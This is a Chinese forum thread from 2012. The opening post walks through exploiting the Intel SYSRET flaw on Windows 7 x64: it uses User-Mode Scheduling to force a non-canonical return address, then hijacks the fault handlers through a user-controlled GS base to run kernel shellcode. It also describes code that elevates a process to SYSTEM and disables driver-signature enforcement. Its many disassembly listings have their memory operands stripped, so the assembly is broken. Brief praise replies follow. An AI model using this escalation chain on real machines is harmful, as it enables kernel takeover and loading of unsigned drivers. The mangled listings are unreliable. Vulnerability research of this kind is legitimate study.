wowocock 发表于 2012-12-3 17:02

Intel Sysret 漏洞在WIN7 X64下的实现分析

intelsysret 漏洞在WIN7 X64下的实现分析。前半部分是网上现有的文章分析,后半部分为代码实现分析
1. 漏洞浅析
在x64系统上,最重要的48位虚拟地址将被用于地址转换,而此外48到63的任何虚拟地址必须是47位的副本。否则处理器会抛出异常:保护故障(GP)。

这会将虚拟地址分割位两个区块,如:


·         规范的高阶半区: 0xFFFFFF`FFFFFFFF       0xFFFF8000`00000000·         规范的低阶半区: 0x00007FFF`FFFFFFFF   0x00000000`00000000
而所有这之间的地址都会被认为是不规范的。

SYSRET指令被用于传递返回到普通用户模式(user-mode)。它将RCX寄存器中的值复制到RIP寄存器中,并把Code Segment Selector位切换位普通用户模式(user-mode)。然而,RCX寄存器是一个通用寄存器,它可能包含的任何值,包括不规范的地址。并且SYSRET指令一旦抛出异常是不负责退栈切换回用户空间的,也不负责为GS寄存器做扫尾工作。这意味着,程序员在调用SYSRET指令前后都需要为GS,RSP,RBP做额外的处理。

而我们恰好发现intel的SYSRET指令实现中存在一个缺陷: 如果一个不规范的地址从RCX寄存器传递而抛出GP, 那么在CG,RBP和RSP返回普通用户模式(user-mode)前, 其ring0的权限不会被取缔(因为没有任何扫尾工作)。


2. MS windows中的漏洞触发

利用这个漏洞的关键是要抛出一个不规范的返回地址,而为了在MS Windows中触发这个漏洞,我们可以有以下的方式:


·         映射内存并在0x7FFF`FFFFFFFF位执行一个系统调用。这将返回一个不规范的地址。然而,由于Windows地址空间的限制,这个地址是不可达的,因此此路不通罗马。·         寻找一个系统调用,并能手动改变返回地址。
关于后者,可借力于UMS(User-Mode Scheduling 用户模式计划程序)。
ps: MSDN,UMS是一个轻量级的机制,应用程序可以用它来安排自己的线程。应用程序可以在用户模式下自由进行UMS线程间的切换而不必不涉及系统调度。

为了使用UMS线程,可以用CreateUmsCompletionList()函数创建一个的UMS调度列表。scheduler线程将被链接到此调度列表,而scheduler线程也将需要被创建(scheduler线程通过EnterUmsSchedulingMode()从普通线程晋升为UMS线程)。

如果UMS线程启动或阻塞,那么ExecuteUmsThread()函数需要被调用。如果没有, scheduler需要确定哪些线程将随后运行。它将排列调度列表,选择正确的线程。

EnterUmsSchedulingMode()函数是ntdll.dll中实现的。从汇编代码中,我们可以看到,它得到当前的UMS线程,完成链接调度列表,保存线程上下文(寄存器),然后调用RtlpUmsPrimaryContextWrap()函数。1.    .text:0000000078F33A20 RtlEnterUmsSchedulingMode2.    .text:0000000078F33A203.    .text:0000000078F33A20 arg_0 = qword ptr 84.    .text:0000000078F33A20 arg_8 = qword ptr 10h5.    .text:0000000078F33A20 arg_10 = qword ptr 18h6.    .text:0000000078F33A207.    .text:0000000078F33A20 mov , rbx8.    .text:0000000078F33A25 mov , rsi9.    .text:0000000078F33A2A push rdi10..text:0000000078F33A2B sub rsp, 20h11..text:0000000078F33A2F mov rsi, 12..text:0000000078F33A33 mov rbx, 13.    [...]14..text:0000000078F33A5D loc_78F33A5D:15..text:0000000078F33A5D mov rdx, rsi16..text:0000000078F33A60 xor ecx, ecx17..text:0000000078F33A62 call RtlpAttachThreadToUmsCompletionList18..text:0000000078F33A67 test eax, eax19..text:0000000078F33A69 js short loc_78F33AA020..text:0000000078F33A6B lea rcx, 21..text:0000000078F33A70 call RtlGetCurrentUmsThread22..text:0000000078F33A75 test eax, eax23..text:0000000078F33A77 js short loc_78F33A9424..text:0000000078F33A79 mov rcx, 25..text:0000000078F33A7E call RtlpSaveUmsDebugRegisterState26..text:0000000078F33A83 test eax, eax27..text:0000000078F33A85 js short loc_78F33A9428..text:0000000078F33A87 mov rdx, rdi29..text:0000000078F33A8A mov rcx, rbx30..text:0000000078F33A8D call RtlpUmsPrimaryContextWrap31..text:0000000078F33A92 jmp short $+2RtlpUmsPrimaryContextWrap()函数负责调用scheduler并保存线程信息在一个结构中(ps:这是一个非文档化的结构),通过反汇编我们可以知道此结构为:
RSP
RBP
返回地址1.    .text:0000000078EA03F0 RtlpUmsPrimaryContextWrap2.    .text:0000000078EA03F03.    .text:0000000078EA03F0 var_108 = xmmword ptr -108h4.    .text:0000000078EA03F0 var_F8 = xmmword ptr -0F8h5.    .text:0000000078EA03F0 var_E8 = xmmword ptr -0E8h6.    .text:0000000078EA03F0 var_D8 = xmmword ptr -0D8h7.    .text:0000000078EA03F0 var_C8 = xmmword ptr -0C8h8.    .text:0000000078EA03F0 var_38 = byte ptr -38h9.      [...]10..text:0000000078EA0452 mov , r1511..text:0000000078EA0456 mov r10, gs:14A0h12..text:0000000078EA045F lea r10, 13..text:0000000078EA0463 lea r11, loc_78EA049314..text:0000000078EA046A mov , rcx             //这里将被HOOK 15..text:0000000078EA0471 mov , rbp16..text:0000000078EA0478 mov , rsp17..text:0000000078EA047F mov , r11            // saved return18..text:0000000078EA0486 mov r12, 019..text:0000000078EA048D xor r13, r1320..text:0000000078EA0490 mov r14, rdx21..text:0000000078EA049322..text:0000000078EA0493 loc_78EA0493:23..text:0000000078EA0493 mov r10, gs:14A0h24..text:0000000078EA049C lea r10, 25..text:0000000078EA04A0 mov r11,          // scheduler func26..text:0000000078EA04A7 mov rcx, r1227..text:0000000078EA04AA mov rdx, r1328..text:0000000078EA04AD mov r8, r1429..text:0000000078EA04B0 call r11                                 // calls the scheduler function30..text:0000000078EA04B3 lea rcx, 31..text:0000000078EA04BB movaps xmm6, 32..text:0000000078EA04C0 movaps xmm7, 如果我们调试内核,在Ntoskrnl.exe的KeBuildPrimaryThreadContext()函数处设置bp,我们可以看到0x00000000`78EA0493被保存为返回到用户空间的地址。1.    PAGE:FFFFF80002C5A070 KeBuildPrimaryThreadContext2.    PAGE:FFFFF80002C5A0703.    PAGE:FFFFF80002C5A070 arg_0 = qword ptr 84.    PAGE:FFFFF80002C5A070 arg_20 = qword ptr 28h5.    PAGE:FFFFF80002C5A070 arg_28 = qword ptr 30h6.    PAGE:FFFFF80002C5A0707.    PAGE:FFFFF80002C5A070 mov , rbx8.    PAGE:FFFFF80002C5A075 movsxd rbx, r9d9.    PAGE:FFFFF80002C5A078 mov r9, rdx10.PAGE:FFFFF80002C5A07B xor r10d, r10d11.PAGE:FFFFF80002C5A07E mov rax, 12.PAGE:FFFFF80002C5A085 mov r11, 13.PAGE:FFFFF80002C5A088 cmp r8, r1014.PAGE:FFFFF80002C5A08B jz loc_FFFFF80002C5A16815.[...]16.PAGE:FFFFF80002C5A168 loc_FFFFF80002C5A168:17.PAGE:FFFFF80002C5A168 mov rdx, 18.PAGE:FFFFF80002C5A16C mov rcx, 19.PAGE:FFFFF80002C5A170 mov rax, 20.PAGE:FFFFF80002C5A177 mov , rax               // saved RIP21.PAGE:FFFFF80002C5A17E mov rax, 22.PAGE:FFFFF80002C5A185 mov , rax23.PAGE:FFFFF80002C5A18C mov rax, 24.PAGE:FFFFF80002C5A193 mov , rax25.PAGE:FFFFF80002C5A19A mov eax, 33h ; '3'26.PAGE:FFFFF80002C5A19F mov , ax27.PAGE:FFFFF80002C5A1A6 mov eax, 2Bh ; '+'28.PAGE:FFFFF80002C5A1AB mov , ax我们的想法是在ExecuteUmsThread()调用前破坏这个地址为非规范地址。而在用户态的scheduler中,返回地址保存在: GS: + 0x10 + 0x1F处。

内核调度结束后,ntoskrnl.exe中的KiUmsFastReturnToUser()函数被调用。在调用SYSRET指令前, RSP, RBP和GS将会被重置为他们之前保存的副本,返回用户态的地址也被移入RCX寄存器。1.    .text:FFFFF800028DD440 KiUmsFastReturnToUser2.    .text:FFFFF800028DD4403.    .text:FFFFF800028DD440 var_5046 = dword ptr -5046h4.    .text:FFFFF800028DD440 var_4FA6 = byte ptr -4FA6h5.    .text:FFFFF800028DD440 arg_42 = byte ptr 52h6.    .text:FFFFF800028DD440 arg_80 = byte ptr 88h7.    .text:FFFFF800028DD440 arg_190 = dword ptr 198h8.    .text:FFFFF800028DD4409.    .text:FFFFF800028DD440 sub rsp, 28h10..text:FFFFF800028DD444 mov rbx, gs:+188h11..text:FFFFF800028DD44D mov rcx, 12..text:FFFFF800028DD454 lea rbp, 13..text:FFFFF800028DD45B mov rax, cr814.    [...]15..text:FFFFF800028DD596 loc_FFFFF800028DD596:16..text:FFFFF800028DD596 mov r8,                   // saved RSP17..text:FFFFF800028DD59D mov r9,                // saved RBP18..text:FFFFF800028DD5A4 xor edx, edx19..text:FFFFF800028DD5A6 pxor xmm0, xmm020..text:FFFFF800028DD5AA pxor xmm1, xmm121..text:FFFFF800028DD5AE pxor xmm2, xmm222..text:FFFFF800028DD5B2 pxor xmm3, xmm323..text:FFFFF800028DD5B6 pxor xmm4, xmm424..text:FFFFF800028DD5BA pxor xmm5, xmm525..text:FFFFF800028DD5BE mov rcx,                // saved ret address26..text:FFFFF800028DD5C5 mov r11, 27..text:FFFFF800028DD5CC mov rbp, r928..text:FFFFF800028DD5CF mov rsp, r829..text:FFFFF800028DD5D2 swapgs                                    // switch GS to user30..text:FFFFF800028DD5D5 sysret31..text:FFFFF800028DD5D8 db 66h, 66h, 66h, 66h, 66h, 66h32..text:FFFFF800028DD5D8 nop word ptr 33..text:FFFFF800028DD5E7 db 66h, 66h, 66h, 66h, 66h, 66h复制代码
但是,如果此时RCX是不规范的,那么GP异常将在特权模式下被抛出。

3. Windows 7 & Windows 2008 R2 x64下的利用

GP异常抛出时,RSP和RBP可控,GS指向用户态,PFH(protection fault handler)则被指向KiGeneralProtectionFault()函数

一种利用此漏洞的方式,是利用已控的RBP和RBP。因为KiGeneralProtectionFault()将会把值写入堆栈,且堆栈也是可控的。基于这些我们可以试试write-4 techniques。

ps: write-4 techniques - http://immunityinc.com/infiltrate/archives/kernelpool_infiltrate2011.pdf1.    .text:FFFFF800028DBAC0 KiGeneralProtectionFault2.    .text:FFFFF800028DBAC03.    .text:FFFFF800028DBAC0 var_12D = byte ptr -12Dh4.    .text:FFFFF800028DBAC0 var_12C = dword ptr -12Ch5.    .text:FFFFF800028DBAC0 var_128 = qword ptr -128h6.    .text:FFFFF800028DBAC0 var_120 = qword ptr -120h7.    .text:FFFFF800028DBAC0 var_118 = qword ptr -118h8.    .text:FFFFF800028DBAC0 var_110 = qword ptr -110h9.    .text:FFFFF800028DBAC0 var_108 = qword ptr -108h10..text:FFFFF800028DBAC0 var_100 = qword ptr -100h11..text:FFFFF800028DBAC0 var_F8 = qword ptr -0F8h12..text:FFFFF800028DBAC0 var_E8 = xmmword ptr -0E8h13..text:FFFFF800028DBAC0 var_D8 = xmmword ptr -0D8h14..text:FFFFF800028DBAC0 var_C8 = xmmword ptr -0C8h15..text:FFFFF800028DBAC0 var_B8 = xmmword ptr -0B8h16..text:FFFFF800028DBAC0 var_A8 = xmmword ptr -0A8h17..text:FFFFF800028DBAC0 var_98 = xmmword ptr -98h18..text:FFFFF800028DBAC0 var_58 = word ptr -58h19..text:FFFFF800028DBAC0 arg_0 = qword ptr 10h20..text:FFFFF800028DBAC0 arg_8 = byte ptr 18h21..text:FFFFF800028DBAC0 arg_10 = qword ptr 20h22..text:FFFFF800028DBAC0 arg_24 = dword ptr 34h23..text:FFFFF800028DBAC024..text:FFFFF800028DB600 push rbp25..text:FFFFF800028DB601 sub rsp, 158h26..text:FFFFF800028DB608 lea rbp, 27..text:FFFFF800028DB610 mov , 128..text:FFFFF800028DB614 mov , rax29..text:FFFFF800028DB618 mov , rcx30..text:FFFFF800028DB61C mov , rdx31..text:FFFFF800028DB620 mov , r832..text:FFFFF800028DB624 mov , r933..text:FFFFF800028DB628 mov , r1034..text:FFFFF800028DB62C mov , r1135..text:FFFFF800028DB630 test , 136..text:FFFFF800028DB637 jz short loc_FFFFF800028DB65A37..text:FFFFF800028DB639 swapgs38..text:FFFFF800028DB63C mov r10, gs:188h39..text:FFFFF800028DB645 test byte ptr , 340..text:FFFFF800028DB64A mov , 0复制代码
然而,因为目标内存周围数据已被破坏,这使得此exp方法不可靠。

一个更好的方法是利用指向用户空间的GS。我们的思路是,欺骗内核调用GS中索引的函数。这种功能可以触发页错误处理程序(所有这一切需要做的是产生此异常)。1.    .text:FFFFF800028DB65A cld2.    .text:FFFFF800028DB65B stmxcsr 3.    .text:FFFFF800028DB65F ldmxcsr dword ptr gs:180h4.    .text:FFFFF800028DB668 movaps , xmm05.    .text:FFFFF800028DB66C movaps , xmm16.    .text:FFFFF800028DB670 movaps , xmm27.    .text:FFFFF800028DB674 movaps , xmm38.    .text:FFFFF800028DB678 movaps , xmm49.    .text:FFFFF800028DB67C movaps , xmm510..text:FFFFF800028DB680 mov eax, 11..text:FFFFF800028DB686 test , 200h12..text:FFFFF800028DB691 jz short loc_FFFFF800028DB69413..text:FFFFF800028DB693 sti14..text:FFFFF800028DB694 loc_FFFFF800028DB694:15..text:FFFFF800028DB694 mov r10, 16..text:FFFFF800028DB69B mov r9, cr417..text:FFFFF800028DB69F mov r8, cr018..text:FFFFF800028DB6A3 mov edx, 819..text:FFFFF800028DB6A8 mov ecx, 7Fh20..text:FFFFF800028DB6AD call KiBugCheckDispatch复制代码
此函数叫做 KeBugCheckEx()1.    .text:FFFFF800028DD180 KiBugCheckDispatch2.    .text:FFFFF800028DD1803.    .text:FFFFF800028DD180 var_118= qword ptr -118h4.    .text:FFFFF800028DD180 var_108= xmmword ptr -108h5.    .text:FFFFF800028DD180 var_F8= xmmword ptr -0F8h6.    .text:FFFFF800028DD180 var_E8= xmmword ptr -0E8h7.    .text:FFFFF800028DD180 var_D8= xmmword ptr -0D8h8.    .text:FFFFF800028DD180 var_C8= xmmword ptr -0C8h9.    .text:FFFFF800028DD180 var_38= byte ptr -38h10..text:FFFFF800028DD18011..text:FFFFF800028DD180 sub rsp, 138h12..text:FFFFF800028DD187 lea rax, 13..text:FFFFF800028DD18F movaps , xmm614..text:FFFFF800028DD194 movaps , xmm715..text:FFFFF800028DD199 movaps , xmm816.    [...]17..text:FFFFF800028DD1D3 mov , r1318..text:FFFFF800028DD1D7 mov , r1419..text:FFFFF800028DD1DB mov , r1520..text:FFFFF800028DD1DF mov , r1021..text:FFFFF800028DD1E4 call KeBugCheckEx22..text:FFFFF800028DD1E4 KiBugCheckDispatch endp复制代码
KeBugCheckEx()函数需要将控制状态寄存器保存到GS索引的一个内存结构。1.    .text:FFFFF800028DDC40 KeBugCheckEx2.    .text:FFFFF800028DDC403.    .text:FFFFF800028DDC40 var_18= qword ptr -18h4.    .text:FFFFF800028DDC40 var_10= qword ptr -10h5.    .text:FFFFF800028DDC40 var_8= qword ptr -86.    .text:FFFFF800028DDC40 arg_0= qword ptr 87.    .text:FFFFF800028DDC40 arg_8= qword ptr 10h8.    .text:FFFFF800028DDC40 arg_10= qword ptr 18h9.    .text:FFFFF800028DDC40 arg_18= qword ptr 20h10..text:FFFFF800028DDC40 arg_20= qword ptr 28h11..text:FFFFF800028DDC40 arg_28= byte ptr 30h12..text:FFFFF800028DDC4013..text:FFFFF800028DDC40 mov , rcx14..text:FFFFF800028DDC45 mov , rdx15..text:FFFFF800028DDC4A mov , r816..text:FFFFF800028DDC4F mov , r917..text:FFFFF800028DDC54 pushfq18..text:FFFFF800028DDC55 sub rsp, 30h19..text:FFFFF800028DDC59 cli20..text:FFFFF800028DDC5A mov rcx, gs:20h21..text:FFFFF800028DDC63 mov rcx, 22..text:FFFFF800028DDC6A call RtlCaptureContext23..text:FFFFF800028DDC6F mov rcx, gs:20h24..text:FFFFF800028DDC78 add rcx, 40h25..text:FFFFF800028DDC7C call KiSaveProcessorControlState26..text:FFFFF800028DDC81 mov r10, gs:20h27..text:FFFFF800028DDC8A mov r10, 28..text:FFFFF800028DDC91 mov rax, 29..text:FFFFF800028DDC96 mov , rax30..text:FFFFF800028DDC9D mov rax, 复制代码
KeSaveProcessorControlState()函数将尝试把cr0寄存器的内容保存在GS:0x20处。1.    .text:FFFFF800028DDF70 KiSaveProcessorControlState2.    .text:FFFFF800028DDF70 mov rax, cr03.    .text:FFFFF800028DDF73 mov , rax4.    .text:FFFFF800028DDF76 mov rax, cr25.    .text:FFFFF800028DDF79 mov , rax6.    .text:FFFFF800028DDF7D mov rax, cr37.    .text:FFFFF800028DDF80 mov , rax8.    .text:FFFFF800028DDF84 mov rax, cr4复制代码
这可以被用来抛出一个页错误:

如果一个诸如0x54545454`54545454的值被存储在GS:0x20,那么页错误将被触发。

在页错误处理程序中,我们的目标在于达到KiCheckForKernelApcDelivery()函数。它主要包括设置一个有效的指针GS:0x188(初始设置为0)。1.    .text:FFFFF800028DBC00 KiPageFault2.    .text:FFFFF800028DBC003.    .text:FFFFF800028DBC00 var_158= dword ptr -158h4.    .text:FFFFF800028DBC00 var_138= dword ptr -138h5.    .text:FFFFF800028DBC00 var_12E= byte ptr -12Eh6.    .text:FFFFF800028DBC00 var_12D= byte ptr -12Dh7.    .text:FFFFF800028DBC00 var_12C= dword ptr -12Ch8.    .text:FFFFF800028DBC00 var_128= qword ptr -128h9.      [...]10..text:FFFFF800028DBC00 push rbp11..text:FFFFF800028DBC01 sub rsp, 158h12..text:FFFFF800028DBC08 lea rbp, 13..text:FFFFF800028DBC10 mov , 114..text:FFFFF800028DBC14 mov , rax15..text:FFFFF800028DBC18 mov , rcx16..text:FFFFF800028DBC1C mov , rdx17..text:FFFFF800028DBC20 mov , r818..text:FFFFF800028DBC24 mov , r919..text:FFFFF800028DBC28 mov , r1020..text:FFFFF800028DBC2C mov , r1121..text:FFFFF800028DBC30 test byte ptr , 122..text:FFFFF800028DBC37 jz short loc_FFFFF800028DBCAD23..text:FFFFF800028DBC39 swapgs24..text:FFFFF800028DBC3C mov r10, gs:188h25..text:FFFFF800028DBC45 cmp , 33h ; '3'26.    [...]27..text:FFFFF800028DBCAD loc_FFFFF800028DBCAD:28.; KiPageFault+A6 j29..text:FFFFF800028DBCAD cld30..text:FFFFF800028DBCAE stmxcsr 31..text:FFFFF800028DBCB2 ldmxcsr dword ptr gs:180h32..text:FFFFF800028DBCBB movaps , xmm033..text:FFFFF800028DBCBF movaps , xmm134..text:FFFFF800028DBCC3 movaps , xmm235..text:FFFFF800028DBCC7 movaps , xmm336..text:FFFFF800028DBCCB movaps , xmm437..text:FFFFF800028DBCCF movaps , xmm538..text:FFFFF800028DBCD3 mov eax, cs:KiCodePatchCycle39..text:FFFFF800028DBCD9 mov , eax40..text:FFFFF800028DBCDF mov eax, 41..text:FFFFF800028DBCE5 mov rcx, cr242..text:FFFFF800028DBCE8 test , 200h43..text:FFFFF800028DBCF3 jz short loc_FFFFF800028DBCF644..text:FFFFF800028DBCF5 sti45.    [...]46..text:FFFFF800028DBCF6 loc_FFFFF800028DBCF6:47..text:FFFFF800028DBCF6 mov r9, gs:188h48..text:FFFFF800028DBCFF bt dword ptr , 0Bh49..text:FFFFF800028DBD05 jnb short loc_FFFFF800028DBD1550..text:FFFFF800028DBD07 test byte ptr , 151.    [...]52..text:FFFFF800028EACF2 loc_FFFFF800028EACF2:53..text:FFFFF800028EACF2 mov r12, gs:188h54..text:FFFFF800028EACFB mov , rdi55..text:FFFFF800028EACFF mov rcx, 56..text:FFFFF800028EAD04 mov , rcx57..text:FFFFF800028EAD08 cmp dword ptr , 10h58..text:FFFFF800028EAD0F lea r14, 59..text:FFFFF800028EAD16 ja loc_FFFFF800028EB0E260..text:FFFFF800028EAD1C mov eax, cs:MiDelayPageFaults61..text:FFFFF800028EAD22 test eax, eax62.    [...]63..text:FFFFF800028EC79C loc_FFFFF800028EC79C:64..text:FFFFF800028EC79C call KiCheckForKernelApcDelivery65..text:FFFFF800028EC7A1 jmp loc_FFFFF800028EAF75复制代码
KiCheckForKernelApcDelivery()函数调用的KiDeliverApc():1.    .text:FFFFF8000288AF10 KiCheckForKernelApcDelivery2.    .text:FFFFF8000288AF10 push rbx3.    .text:FFFFF8000288AF12 sub rsp, 20h4.    .text:FFFFF8000288AF16 mov rax, cr85.    .text:FFFFF8000288AF1A mov ecx, 16.    .text:FFFFF8000288AF1F test al, al7.    .text:FFFFF8000288AF21 jnz short loc_FFFFF8000288AF3F8.    .text:FFFFF8000288AF23 xor ebx, ebx9.    .text:FFFFF8000288AF25 mov cr8, rcx10..text:FFFFF8000288AF29 xor r8d, r8d11..text:FFFFF8000288AF2C xor edx, edx12..text:FFFFF8000288AF2E xor ecx, ecx13..text:FFFFF8000288AF30 call KiDeliverApc14..text:FFFFF8000288AF35 mov cr8, rbx复制代码
这是一个实现代码执行的函数。它将提取GS:0x188中的指针,并在一系列解引用操作后设置R11寄存器,而R11寄存器用来调用另一个函数。1.    .text:FFFFF800028D1130 KiDeliverApc2.    .text:FFFFF800028D11303.    .text:FFFFF800028D1130 var_78= dword ptr -78h4.    .text:FFFFF800028D1130 var_58= qword ptr -58h5.    .text:FFFFF800028D1130 var_50= qword ptr -50h6.    .text:FFFFF800028D1130 var_48= qword ptr -48h7.    .text:FFFFF800028D1130 var_40= qword ptr -40h8.    .text:FFFFF800028D1130 arg_0= qword ptr 89.      [...]10..text:FFFFF800028D115B loc_FFFFF800028D115B:11..text:FFFFF800028D115B mov rbx, gs:188h12..text:FFFFF800028D1164 mov r15, 13..text:FFFFF800028D116B mov r14, 14..text:FFFFF800028D116F mov , r9b15..text:FFFFF800028D1173 mov , r816..text:FFFFF800028D117A cmp , r9w17..text:FFFFF800028D1182 jnz short loc_FFFFF800028D11A818..text:FFFFF800028D1184 lock or , r9d19..text:FFFFF800028D1189 lfence20..text:FFFFF800028D118C lea rsi, 21.    [...]22..text:FFFFF800028D11EC loc_FFFFF800028D11EC:23..text:FFFFF800028D11EC mov r8, 24..text:FFFFF800028D11EF cmp r8, rsi25..text:FFFFF800028D11F2 jz loc_FFFFF800029296C726..text:FFFFF800028D11F8 mov , r9b27..text:FFFFF800028D11FC lea r10, 28..text:FFFFF800028D1200 prefetchw byte ptr 29..text:FFFFF800028D1204 mov rcx, 30..text:FFFFF800028D1208 mov r11, 31..text:FFFFF800028D120C mov , rcx32..text:FFFFF800028D1214 mov rax, 33.    [...]34..text:FFFFF800028D12B0 loc_FFFFF800028D12B0:35..text:FFFFF800028D12B0 mov rax, 36..text:FFFFF800028D12B4 mov rdx, 37..text:FFFFF800028D12B7 mov , rdx38..text:FFFFF800028D12BA mov , rax39..text:FFFFF800028D12BE mov , r9b40..text:FFFFF800028D12C2 lock and , r941..text:FFFFF800028D12CA movzx eax, r12b42..text:FFFFF800028D12CE mov cr8, rax43..text:FFFFF800028D12D2 lea rax, 44..text:FFFFF800028D12DA lea r9, 45..text:FFFFF800028D12DF lea r8, 46..text:FFFFF800028D12E4 lea rdx, 47..text:FFFFF800028D12EC mov rcx, r1048..text:FFFFF800028D12EF mov , rax49..text:FFFFF800028D12F4 call r1150..text:FFFFF800028D12F7 xor r9d, r9d51..text:FFFFF800028D12FA jmp loc_FFFFF800028D1190而如果R11寄存器指向一个内核shellcode并且内核调用它,则我们的shellcode就能可靠运行了。下面我结合代码进行下简单的说明。上面说了一大通东西,其实关键就是1,挂钩特殊函数使其产生本无法产生的特殊非规范地址,并使指令跳到这个特殊非规范地址从而触发系统异常。2,系统发生异常时候,通过设置一些特定的数据跳转,跳转到我们想要的地方。也就是最关键的函数nt!KiDeliverApc,大家看代码的时候,需要结合标红的字段就可以理解SHELLCODE的布局了。触发这个异常的时候,gs:188指向的是我们分配的0地址,所以mov rbx, gs:188hrbx =0lea rsi, rsi =0x50mov r8,    r8 =0lea r10, r10 = -10hmov r11, r11 = 0x10call r11call的是我们分配地址0+0x10的地方。也就是代码里*(PLONGLONG)((ULONG_PTR)0L+0x10) =KernelShellcodeAddress;的精华所在,其他的大家看代码也就清楚了。说明的是:原始的老外代码是VS2010 编译的,我修改为最常用的VS2008 编译,同时修改了些小BUG。代码调试可以调试到断点nt!KiUmsFastReturnToUserBreakpoint 5 hitnt!KiUmsFastReturnToUser+0x17e:fffff800`0428907e 488b8de8000000mov   rcx,qword ptr //构造的异常返回地址2: kd> pnt!KiUmsFastReturnToUser+0x185:fffff800`04289085 4c8b9df8000000mov   r11,qword ptr 2: kd> pnt!KiUmsFastReturnToUser+0x18c:fffff800`0428908c 498be9          mov   rbp,r92: kd> rrax=0000000000000000 rbx=fffffa800fa0fb60 rcx=8000000000000000(构造的异常返回地址)rdx=0000000000000000 rsi=0000000076f8edc0 rdi=0000000000000000rip=fffff8000428908c rsp=fffff880097d2bb0 rbp=fffff880097d2c60r8=00000000002ff6e0r9=00000000002ff6e0 r10=0000000000000000r11=0000000000010246 r12=0000000000000001 r13=0000000000000001r14=0000000000000000 r15=00000000771e84f0iopl=0         nv up di pl zr na po nccs=0010ss=0018ds=002bes=002bfs=0053gs=002b             efl=00000046nt!KiUmsFastReturnToUser+0x18c:fffff800`0428908c 498be9          mov   rbp,r9后面SYSRET 触发异常后,不能对在异常处理的代码下断点,否则会触发蓝屏。还有masm64New.rules文件拷贝到你的X:\Program Files\Microsoft Visual Studio 9.0\VC\VCProjectDefaults,X为你VC2008所在的盘。然后就可以调试即可。代码里面也比较简单1,不是WIN764 位就退出2,UMS函数初始化失败也退出。3,判断函数的参数,或者带PID,或者是EXE路劲,为了能使对应的程序为SYSTEM权限,及清除标志g_CiEnabled,从而可以安装加载非签名驱动,这2个是为了表明内核执行代码可能导致的危害性做的演示。4,分配0地址,并填入一些特殊数据,确保执行流程按指定的方向执行。5,设置好SHELLCODE,并将shellcode入口点填入地址0X10,从而使其被触发调用6,调用UMS线程,调用到我们的HOOK,填入非规范地址,从而触发异常执行。最后补充下,这段代码在WIN8 64位下应该是无效的,因为WIN8 64不允许分配0地址,也不允许内核执行应用空间的代码。

690827027 发表于 2012-12-3 17:16

前来膜拜楼主哈

hixiaosheng 发表于 2012-12-3 17:16

烧鸡一只~{:1_912:}

690827027 发表于 2012-12-3 17:17

收藏下,以后需要的时候好好看下

淡然出尘 发表于 2012-12-3 17:27

我是纯支持的
额 大牛的背后 必然有一大批{:1_932:}大牛{:1_931:}

流水爱 发表于 2012-12-3 17:31

膜拜大牛{:17_1075:}

Hmily 发表于 2012-12-3 17:39

大肉鸡又得精华帖!

ok.158 发表于 2012-12-3 17:47

菜鸟来学习一下了

jimshicard 发表于 2012-12-3 18:00

膜拜一下,努力学习啊{:1_912:}

robinh00d 发表于 2012-12-3 19:31

大肉jj老师v5

页: [1] 2 3 4 5
查看完整版本: Intel Sysret 漏洞在WIN7 X64下的实现分析